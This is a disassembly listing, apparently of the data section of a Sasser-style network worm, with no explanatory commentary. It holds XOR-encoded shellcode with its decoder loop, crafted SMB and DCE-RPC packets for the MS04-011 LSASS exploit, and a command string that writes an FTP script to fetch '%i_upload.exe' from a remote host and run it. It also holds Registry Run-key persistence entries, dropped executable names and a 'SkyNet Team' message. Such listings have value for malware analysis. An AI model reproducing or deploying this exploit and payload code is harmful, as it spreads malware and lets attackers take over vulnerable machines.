dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 10h
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .text:off_406F34o
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4036B9+119o
align 4
asc_40540C db 0Ah ; DATA XREF: sub_4036B9+F1o
db 0Ah,0
align 10h
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4036B9+D3o
db 0Ah
db 'Program: ',0
align 4
a___ db '...',0 ; DATA XREF: sub_4036B9+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4036B9+7Do
align 4
dword_405448 dd 2 dup(0) ; DATA XREF: sub_40380C+39o
; sub_4047EE+36o
dword_405450 dd 0FFFFFFFFh, 403905h, 403909h ; DATA XREF: sub_40380C+5o
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_404663+3Do
align 10h
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_404663+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_404663+24o
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_404663+Do
align 4
dword_405498 dd 0FFFFFFFFh, 4048FEh, 404902h, 0FFFFFFFFh, 4049B2h, 4049B6h
; DATA XREF: sub_4047EE+5o
dd 562Ch, 2 dup(0)
dd 56A6h, 50F0h, 5554h, 2 dup(0)
dd 57D0h, 5018h, 5640h, 2 dup(0)
dd 57DEh, 5104h, 5638h, 2 dup(0)
dd 5806h, 50FCh, 553Ch, 2 dup(0)
dd 586Ah, 5000h, 567Ch, 2 dup(0)
dd 58ACh, 5140h, 5 dup(0)
dd 77DD189Ah, 77DD59F0h, 77E2A571h, 77DD5ECCh, 77DD5C55h
dd 0
dd 77E73167h, 77E6E32Eh, 77E6D09Bh, 77E6E4FDh, 77E6D071h
dd 77E61BE6h, 77E6E4C8h, 77E99331h, 77E7A099h, 77E7AC37h
dd 77E684C6h, 77E715F7h, 77E73163h, 77F5157Dh, 77E7C2C4h
dd 77E7751Ah, 77E6BD13h, 77E705B0h, 77E805D8h, 77F5722Fh
dd 77E7980Ah, 77F516F8h, 77E6C703h, 77E7A13Fh, 77E7849Fh
dd 77E7C866h, 77E641EBh, 77E77CCEh, 77E79D8Ch, 77F6183Eh
dd 77F51597h, 77E79E34h, 77E7C726h, 77E76E0Bh, 77E78406h
dd 77E79C3Dh, 77E7C931h, 77E781F9h, 77E7A5FDh, 77E77405h
dd 77E77EE1h, 77E67702h, 77E79924h, 77E7C9E1h, 77E79F93h
dd 77E6177Ah, 77E7C938h, 77E7C486h, 77E75CB5h, 77E616B4h
dd 77E79C90h, 77EB9A84h, 77E9C5B1h, 0
dd 77D4C96Ah, 77D6ADD7h, 0
dd 762211EFh, 0
dd 71AB41DAh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5690h
dd 71AB1AF4h, 71AB1746h, 71AB3C22h, 71AB3E5Dh, 71AB1A6Dh
dd 71AB32CAh, 71AB401Ch, 71AB12F8h, 71AB2BBFh, 0
dd 76D62A58h, 76D629BBh, 76D62A37h, 0
dd 654D0000h, 67617373h, 786F4265h, 41h, 72707377h, 66746E69h
dd 53550041h, 32335245h, 6C6C642Eh, 0
aGetprocaddress db 'GetProcAddress',0
align 4
dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 736C0000h, 70637274h
dd 4179h, 6C5F0000h, 736F6C63h, 65h, 72776C5Fh, 657469h
dd 6C5F0000h, 6565736Ch, 6Bh, 72636C5Fh, 746165h, 6C530000h
dd 706565h, 6C5F0000h, 64616572h, 0
a_lopen db '_lopen',0
align 4
dd 65470000h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
dd 0
aCreatethread_0 db 'CreateThread',0
align 4
aWinexec db 'WinExec',0
dd 65530000h, 72685474h, 50646165h, 726F6972h, 797469h
dd 65470000h, 72754374h, 746E6572h, 65726854h, 6461h, 65470000h
dd 73614C74h, 72724574h, 726Fh, 72430000h, 65746165h, 6574754Dh
dd 4178h, 65470000h, 63695474h, 756F436Bh, 746Eh, 6F430000h
dd 69467970h, 41656Ch, 65470000h, 6E695774h, 73776F64h
dd 65726944h, 726F7463h, 4179h, 4E52454Bh, 32334C45h, 6C6C642Eh
dd 53570000h, 32335F32h, 6C6C642Eh, 0
aInternetgetcon db 'InternetGetConnectedState',0
aWininet_dll db 'WININET.dll',0
align 4
aRegclosekey db 'RegCloseKey',0
dd 65520000h, 6C654467h, 56657465h, 65756C61h, 41h, 4F676552h
dd 4B6E6570h, 417965h, 62410000h, 5374726Fh, 65747379h
dd 7568536Dh, 776F6474h, 416Eh, 65520000h, 74655367h, 756C6156h
dd 41784565h, 44410000h, 49504156h, 642E3233h, 6C6Ch, 63490000h
dd 6C43706Dh, 4865736Fh, 6C646E61h, 65h, 706D6349h, 646E6553h
dd 6F686345h, 0
aIcmpcreatefile db 'IcmpCreateFile',0
align 4
aIphlpapi_dll db 'iphlpapi.dll',0
align 4
aGetmodulehandl db 'GetModuleHandleA',0
align 10h
aGetstartupinfo db 'GetStartupInfoA',0
dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 56746547h
dd 69737265h, 6E6Fh, 78450000h, 72507469h, 7365636Fh, 73h
dd 6D726554h, 74616E69h, 6F725065h, 73736563h, 0
aGetcurrentproc db 'GetCurrentProcess',0
align 4
aUnhandledexcep db 'UnhandledExceptionFilter',0
align 4
aFreeenvironmen db 'FreeEnvironmentStringsA',0
dd 72460000h, 6E456565h, 6F726976h, 6E656D6Eh, 72745374h
dd 73676E69h, 57h, 65646957h, 72616843h, 754D6F54h, 4269746Ch
dd 657479h, 65470000h, 766E4574h, 6E6F7269h, 746E656Dh
dd 69727453h, 73676Eh, 65470000h, 766E4574h, 6E6F7269h
dd 746E656Dh, 69727453h, 5773676Eh, 0
aSethandlecount db 'SetHandleCount',0
align 10h
dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h
dd 70795465h, 65h, 70616548h, 74736544h, 796F72h, 65480000h
dd 72437061h, 65746165h, 0
aVirtualfree db 'VirtualFree',0
dd 65480000h, 72467061h, 6565h, 74520000h, 776E556Ch, 646E69h
dd 72570000h, 46657469h, 656C69h, 754D0000h, 4269746Ch
dd 54657479h, 6469576Fh, 61684365h, 72h, 53746547h, 6E697274h
dd 70795467h, 4165h, 65470000h, 72745374h, 54676E69h, 57657079h
dd 0
aGetcpinfo db 'GetCPInfo',0
align 4
aGetacp db 'GetACP',0
align 4
dd 65470000h, 4D454F74h, 5043h, 65480000h, 6C417061h, 636F6Ch
dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 65480000h, 65527061h
dd 6F6C6C41h, 63h, 614D434Ch, 72745370h, 41676E69h, 0
aLcmapstringw db 'LCMapStringW',0
align 4
dd 143h dup(0)
dword_406000 dd 0 ; DATA XREF: sub_402BB1+1Fo
dword_406004 dd 0 ; DATA XREF: sub_402BB1+1Ao
dword_406008 dd 0 ; DATA XREF: sub_402BB1+10o
dd offset sub_403D5B
dword_406010 dd 0 ; DATA XREF: sub_402BB1:loc_402BBCo
dword_406014 dd 0 ; DATA XREF: sub_402C00+65o
dword_406018 dd 0 ; DATA XREF: sub_402C00:loc_402C60o
dword_40601C dd 0 ; DATA XREF: sub_402C00+76o
dword_406020 dd 4 dup(0) ; DATA XREF: sub_402C00:loc_402C71o
off_406030 dd offset aEchoOffEchoOpe ; DATA XREF: sub_40126C+AAr
; "echo off&echo open %s 1023>>cmd.ftp&ech"...
; ---------------------------------------------------------------------------
loc_406034: ; DATA XREF: sub_401583+132o
; sub_401583+1ABo
jmp short loc_406046
; =============== S U B R O U T I N E =======================================
sub_406036 proc near ; CODE XREF: sub_406036:loc_406046p
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_40603E: ; CODE XREF: sub_406036+Cj
xor byte ptr [edx+ecx], 99h
loop loc_40603E
jmp short loc_40604B
; ---------------------------------------------------------------------------
loc_406046: ; CODE XREF: .text:loc_406034j
call sub_406036
loc_40604B: ; CODE XREF: sub_406036+Ej
jo short near ptr dword_405AF4+4EEh
cwde
cdq
cdq
retn
sub_406036 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_4060E4 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_401583+102o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4061CC dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_40137D+15Do
; sub_401583+2BDo
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_406258 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40137D+188o
; sub_401583+2ECo
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dd 0
dword_406304 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40137D+1ADo
; sub_401583+315o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_4063E4 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40137D+53o
; sub_401583+57o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC: ; DATA XREF: sub_40137D+85o
; sub_401583+89o
unicode 0, <C$>,0
a????? db '?????',0
align 8
dword_406448 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401583+369o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_4064B4 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401583+392o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_406558 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401583+3C8o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_4065D8 dd offset loc_401493+2 ; DATA XREF: sub_401583+3F6o
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset dword_40707C
dd 1, 0
dd 1, 0
dd offset dword_40707C
dd 1, 0
dd 1, 0
dd offset dword_40707C
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_40666C dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401583+425o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_4066D8 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401583+450o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_40674C dd 0 ; DATA XREF: sub_401583+47Eo
dd 40A89Ah, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 40A89Ah, 1, 0
dd 1, 0
dd 40A89Ah, 1, 0
dd 1, 0
dd 40A89Ah, 1, 0
dd 1, 4 dup(0)
dd 20h, 0Ch dup(0)
dword_406810 dd 1004600h ; DATA XREF: sub_401583+16Br
; sub_401583+19Er
dd 1, 20h, 0Ch dup(0)
dd 7515123Ch, 2, 20h, 0Ch dup(0)
dd 751C123Ch, 0Fh dup(0)
off_4068C8 dd offset dword_406924 ; DATA XREF: sub_40219B:loc_4021F3r
; sub_40219B+B6r
dd offset dword_406918
off_4068D0 dd offset dword_406910 ; DATA XREF: sub_401B59+1Ar
; sub_401B59+2Dr
off_4068D4 dd offset dword_406908 ; DATA XREF: sub_401B59+77r
; sub_401B59+84r
off_4068D8 dd offset dword_406900 ; DATA XREF: sub_401B59+A8r
; sub_401B59+B5r
off_4068DC dd offset dword_4068F8 ; DATA XREF: sub_401B59+2C6r
; sub_401B59+2D3r ...
off_4068E0 dd offset dword_4068F0 ; DATA XREF: sub_401B59+184r
; sub_401B59+191r
off_4068E4 dd offset dword_4068E8 ; DATA XREF: sub_401B59+1B9r
; sub_401B59+1C6r
dword_4068E8 dd 20303531h, 0A4B4Fh ; DATA XREF: .text:off_4068E4o
dword_4068F0 dd 20303032h, 0A4B4Fh ; DATA XREF: .text:off_4068E0o
dword_4068F8 dd 20363232h, 0A4B4Fh ; DATA XREF: .text:off_4068DCo
dword_406900 dd 20303332h, 0A4B4Fh ; DATA XREF: .text:off_4068D8o
dword_406908 dd 20313333h, 0A4B4Fh ; DATA XREF: .text:off_4068D4o
dword_406910 dd 20303232h, 0A4B4Fh ; DATA XREF: .text:off_4068D0o
dword_406918 dd 5341534Ch, 56532053h, 52h ; DATA XREF: .text:004068CCo
dword_406924 dd 7361736Ch, 652E7373h, 6578h ; DATA XREF: .text:off_4068C8o
aEchoOffEchoOpe db 'echo off&echo open %s 1023>>cmd.ftp&echo anonymous>>cmd.ftp&echo '
; DATA XREF: .text:off_406030o
db 'user&echo bin>>cmd.ftp&echo get %i_upload.exe>>cmd.ftp&echo bye>>'
db 'cmd.ftp&echo on&ftp -s:cmd.ftp&%i_upload.exe&echo off&del cmd.ftp'
db '&echo on',0Ah,0
align 10h
a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_4010D2:loc_401140o
align 4
asc_406A0C db 0Dh,0Ah,0 ; DATA XREF: sub_401210+40o
align 10h
aCFtplog_txt db 'c:\ftplog.txt',0 ; DATA XREF: sub_401210+9o
align 10h
aSC db '%s%c',0 ; DATA XREF: sub_40137D+1DFo
align 4
aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40137D+20o
; sub_401583+23o
align 4
dword_406A34 dd 6EB06EBh, 0 ; DATA XREF: sub_401583+1CCo
dword_406A3C dd 1CEC8166h ; DATA XREF: sub_401583+Dr
dword_406A40 dd 0E4FF07h ; DATA XREF: sub_401583+18r
dword_406A44 dd 302E35h ; DATA XREF: sub_401A69+4Ao
dword_406A48 dd 312E35h ; DATA XREF: sub_401A69+27o
aQuit db 'QUIT',0 ; DATA XREF: sub_401B59+2E4o
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_401B59+1A2o
align 4
aI_I_I_I db '%i.%i.%i.%i',0 ; DATA XREF: sub_401B59+173o
; sub_401F4B+79o
word_406A68 dw 2Ch ; DATA XREF: sub_401B59+EEr
align 4
aPort db 'PORT',0 ; DATA XREF: sub_401B59+C6o
align 4
aPass db 'PASS',0 ; DATA XREF: sub_401B59+95o
align 4
aUser db 'USER',0 ; DATA XREF: sub_401B59+64o
align 4
asc_406A84: ; DATA XREF: sub_401F4B+157o
unicode 0, < >,0
a1_YourComputer db '1. Your computer is affected by the MS04-011 vulnerability',0Dh,0Ah
; DATA XREF: sub_4020D9+B2o
db '2. It can be that dangerous computer viruses similar',0Dh,0Ah
db ' the Blaster worm infect your computer',0Dh,0Ah
db '3. Please update your computer with the MS04-011 LSASS patch',0Dh,0Ah
db ' from the www.microsoft.com website',0Dh,0Ah
db '4. This is an message from the SkyNet Team for',0Dh,0Ah
db ' malicious activity prevention',0Dh,0Ah,0
align 4
aSkynet db 'SkyNet',0 ; DATA XREF: sub_4020D9+ADo
align 4
aSkynetnotice db 'SkynetNotice',0 ; DATA XREF: sub_4020D9+3Fo
align 4
aDrvddll_exe db 'Drvddll_exe',0 ; DATA XREF: sub_40219B+EBo
aDrvsys_exe db 'drvsys.exe',0 ; DATA XREF: sub_40219B+DFo
align 4
aSsgrate_exe db 'ssgrate.exe',0 ; DATA XREF: sub_40219B+CEo
aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: sub_40219B+8Bo
align 10h
asc_406C50: ; DATA XREF: sub_40219B+4Bo
unicode 0, <\>,0
align 10h
off_406C60 dd offset sub_402BEF ; DATA XREF: sub_402A24+1Cr
dword_406C64 dd 2 ; DATA XREF: sub_403680+Er
; sub_4036B9+46r
align 10h
off_406C70 dd offset word_406C7A ; DATA XREF: sub_402900+1Er
; sub_402B3C+12r ...
dd offset word_406C7A
db 2 dup(0)
word_406C7A dw 20h ; DATA XREF: sub_403966+18r
; .text:off_406C70o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_406E7C dd 1 ; DATA XREF: sub_402900r
dd 2Eh, 1
dword_406E88 dd 0C0000005h ; DATA XREF: sub_402DF4+Ar
; sub_402DF4+11o
dd 0Bh, 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_406F00 dd 3 ; DATA XREF: sub_402CB3+58r
dword_406F04 dd 7 ; DATA XREF: sub_402CB3+5Er
dword_406F08 dd 0Ah ; DATA XREF: sub_402DF4+4r
dword_406F0C dd 8Ch ; DATA XREF: sub_402CB3+82r
; sub_402CB3+8Fw ...
dd 0FFFFFFFFh, 0A00h, 10h
dword_406F1C dd 19930520h, 4 dup(0) ; DATA XREF: .text:0040357Fo
; sub_403586+2o
dword_406F30 dd 2 ; DATA XREF: sub_4036B9+Eo
; sub_4036B9+28r
off_406F34 dd offset aR6002FloatingP ; DATA XREF: sub_4036B9+FCr
; sub_4036B9+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 405390h, 9, 405364h, 0Ah, 405340h, 10h, 405314h
dd 11h, 4052E4h, 12h, 4052C0h, 13h, 405294h, 18h, 40525Ch
dd 19h, 405234h, 1Ah, 4051FCh, 1Bh, 4051C4h, 1Ch, 40519Ch
dd 78h, 40518Ch, 79h, 40517Ch, 7Ah, 40516Ch, 0FCh, 406A0Ch
dd 0FFh, 40515Ch
byte_406FC0 db 1 ; DATA XREF: sub_4036B9+1Bo
; sub_403997+E1r
db 2, 4, 8
align 8
dword_406FC8 dd 3A4h ; DATA XREF: sub_403997+2Fo
dword_406FCC dd 82798260h, 21h, 0 ; DATA XREF: sub_403997+11Dr
dword_406FD8 dd 0DFA6h ; DATA XREF: sub_403997+C0r
align 10h
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h
dword_40707C dd 0 ; DATA XREF: .text:00406624o
; .text:00406638o ...
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4070B8 dd 3F8h ; DATA XREF: sub_403997+3Co
; sub_403DE4+5r
align 10h
dword_4070C0 dd 5A430D7Eh ; DATA XREF: sub_401000r
; sub_401000+10w ...
dword_4070C4 dd 0 ; DATA XREF: sub_401210w
dword_4070C8 dd 0 ; DATA XREF: sub_40126C+89o
; sub_40137D+Co ...
dword_4070CC dd 0 ; DATA XREF: sub_402770+3Br
; sub_402770+91w
dword_4070D0 dd 0 ; DATA XREF: sub_40292E+84w
; sub_402E8F:loc_402EA1r ...
align 8
dword_4070D8 dd 0 ; DATA XREF: sub_402A24r sub_402A49r ...
dd 3 dup(0)
dword_4070E8 dd 0A28h ; DATA XREF: sub_40292E+52w
dword_4070EC dd 501h ; DATA XREF: sub_40292E+49w
dword_4070F0 dd 5 ; DATA XREF: sub_40292E+3Ew
dword_4070F4 dd 1 ; DATA XREF: sub_40292E+30w
dword_4070F8 dd 1 ; DATA XREF: sub_402F48+91w
dword_4070FC dd 0E80B00h ; DATA XREF: sub_402F48+89w
dd 0
dword_407104 dd 0E80A80h ; DATA XREF: sub_402E8F+44w
dd 3 dup(0)
off_407114 dd offset aCM_unpackerPac ; DATA XREF: sub_402F48+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_40711C db 0 ; DATA XREF: sub_402C00+2Dw
align 10h
dword_407120 dd 0 ; DATA XREF: sub_402C00+27w
dword_407124 dd 0 ; DATA XREF: sub_402C00+4r
; sub_402C00+8Bw
dword_407128 dd 0 ; DATA XREF: sub_402CB3+3Ar
; sub_402CB3+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_402F48:loc_402F5Fo
; .text:off_407114o
align 4
dd 3Ah dup(0)
dword_407230 dd 1 ; DATA XREF: sub_403195+2r
; sub_403195+23w ...
dword_407234 dd 0 ; DATA XREF: sub_403680+21r
dword_407238 dd 1 ; DATA XREF: sub_40380C+26r
; sub_40380C:loc_403876w
dword_40723C dd 1 ; DATA XREF: sub_403997:loc_403B12r
; sub_403B30+4w ...
dword_407240 dd 0 ; DATA XREF: sub_404663+3r
; sub_404663+2Ew ...
dword_407244 dd 0 ; DATA XREF: sub_404663+43w
; sub_404663:loc_4046B2r
dword_407248 dd 0 ; DATA XREF: sub_404663+4Aw
; sub_404663+60r
dd 2 dup(0)
dword_407254 dd 0 ; DATA XREF: sub_40380C+7Br
dd 3 dup(0)
dword_407264 dd 0 ; DATA XREF: sub_40380C+A6r
; sub_403B30+3Ar ...
dd 0
dword_40726C dd 1 ; DATA XREF: sub_4047EE+28r
; sub_4047EE+4Cw ...
dword_407270 dd 0 ; DATA XREF: sub_403DA6r
dword_407274 dd 0 ; DATA XREF: sub_404A3Dr
dword_407278 dd 10h ; DATA XREF: sub_403E1A+32w
; sub_4044B7+5r ...
dword_40727C dd 0 ; DATA XREF: sub_403E83+239r
; sub_403E83+259r ...
dword_407280 dd 320650h ; DATA XREF: sub_403E1A+2Dw
; sub_403E83+310w ...
dword_407284 dd 0 ; DATA XREF: sub_403E1A:loc_403E37w
; sub_403E83+22Cr ...
dword_407288 dd 1 ; DATA XREF: sub_403E1A+24w
; sub_403E58r ...
dword_40728C dd 320650h ; DATA XREF: sub_403E1A+15w
; sub_403E58+8r ...
dword_407290 dd 4E4h ; DATA XREF: sub_403997+14r
; sub_403997+65w ...
align 10h
dword_4072A0 dd 3 dup(0) ; DATA XREF: sub_403997+123o
; sub_403997+171o ...
dword_4072AC dd 0 ; DATA XREF: sub_403997+108w
; sub_403997+15Dw ...
dd 4 dup(0)
byte_4072C0 db 0 ; DATA XREF: sub_403BD6:loc_403CE2w
; sub_403BD6:loc_403CFFw ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4073C0 db 0 ; DATA XREF: sub_403997+5Co
; sub_403997+AFo ...
byte_4073C1 db 0 ; DATA XREF: sub_402FE1+3Fr
; sub_402FE1+84r ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
